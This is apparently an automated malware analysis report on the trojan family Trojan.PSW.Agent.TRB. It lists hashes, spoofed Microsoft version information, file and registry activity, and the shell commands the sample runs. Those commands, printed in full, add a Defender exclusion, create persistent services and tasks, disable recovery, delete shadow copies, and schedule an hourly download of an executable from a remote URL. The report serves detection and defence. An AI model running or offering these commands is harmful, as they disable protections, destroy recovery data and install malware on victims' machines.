Trojan.PSW.Agent.TRB
Table of Contents
Analysis Report
General information
| Family Name: | Trojan.PSW.Agent.TRB |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
c7392e3fb6e456e095137e56daa6f747
SHA1:
b22ed1584c795c59051ea14d5c5570bb9bfdd352
SHA256:
5FB7A9D21107C484671AC86913293C3B903C53C7658C35FF2194C4177AC51875
File Size:
418.82 KB, 418816 bytes
|
Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show More
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Company Name | Microsoft Corporation |
| File Description | Managing the current account session |
| File Version | 10.0.19041.746 (WinBuild.160101.0800) |
| Internal Name | sessionuserhost.exe |
| Legal Copyright | © Microsoft Corporation. All rights reserved. |
| Original Filename | sessionuserhost.exe |
| Product Name | Microsoft® Windows® Operating System |
| Product Version | 10.0.19041.746 |
File Traits
- fptable
- GetConsoleWindow
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 1,481 |
|---|---|
| Potentially Malicious Blocks: | 65 |
| Whitelisted Blocks: | 1,410 |
| Unknown Blocks: | 6 |
Visual Map
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0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \\?\volume{a7c706ea-0000-0000-0000-100000000000}\boot\bcd | Read Data,Read Control,Write Data |
| \\?\volume{a7c706ea-0000-0000-0000-100000000000}\boot\bcd | Write Attributes |
| \device\namedpipe\pshost.134079174553792978.8528.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_l1jcikcy.2i3.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_th2rcjzb.elm.psm1 | Generic Write,Read Attributes |
| c:\windows\diagerr.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\windows\diagwrn.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\windows\setupact.log | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\windows\setuperr.log | Generic Read,Write Data,Write Attributes,Write extended,Append data |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | Ȱ芞塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 욇芢塌ǜ | RegNtPreCreateKey |
Show More
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 保芬塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 保芬塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 녆苍塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 憚苞塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 햜茒塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 駡茗塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 䠵荦塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 滀荭塌ǜ | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
Show More
25 additional items are not displayed above. |
| Process Manipulation Evasion |
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| Process Shell Execute |
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| Anti Debug |
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| User Data Access |
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| Process Terminate |
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| Network Urlomon |
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| Encryption Used |
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| Other Suspicious |
|
Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
runas C:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\ProgramData\
|
runas C:\Windows\System32\cmd.exe /c sc create InputService binPath=C:\ProgramData\sessionuserhost.exe DisplayName=MicrosoftInputService type=own start=auto
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runas C:\Windows\System32\cmd.exe /c reagentc /disable
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\ProgramData\
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runas C:\Windows\System32\cmd.exe /c vssadmin delete shadows /all /quiet
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Show More
C:\WINDOWS\system32\sc.exe sc create InputService binPath=C:\ProgramData\sessionuserhost.exe DisplayName=MicrosoftInputService type=own start=auto
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WriteConsole: [SC] CreateServi
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn WinLogOn /tr C:\ProgramData\sessionuserhost.exe /sc onlogon /rl HIGHEST
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn MicrosoftTask /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData'" /sc hourly /mo 1 /rl HIGHEST
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn WindowsUpdateTask /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri 'https://github.com/ANTILOSE-DEV/f/raw/refs/heads/main/standoff.exe' -OutFile 'C:\ProgramData\sessionuserhost.exe'" /sc hourly /mo 1 /rl HIGHEST
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C:\WINDOWS\system32\ReAgentc.exe reagentc /disable
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn WindowsPowershellTask /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Start-Process 'C:\ProgramData\sessionuserhost.exe'" /sc hourly /mo 1 /rl HIGHEST
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C:\WINDOWS\system32\vssadmin.exe vssadmin delete shadows /all /quiet
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WriteConsole: Access is denied
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C:\WINDOWS\system32\schtasks.exe schtasks /create /ru System /tn WinLogOn /tr C:\ProgramData\sessionuserhost.exe /sc onlogon /rl HIGHEST
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WriteConsole: Access is denied
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WriteConsole: REAGENTC.EXE: Wi
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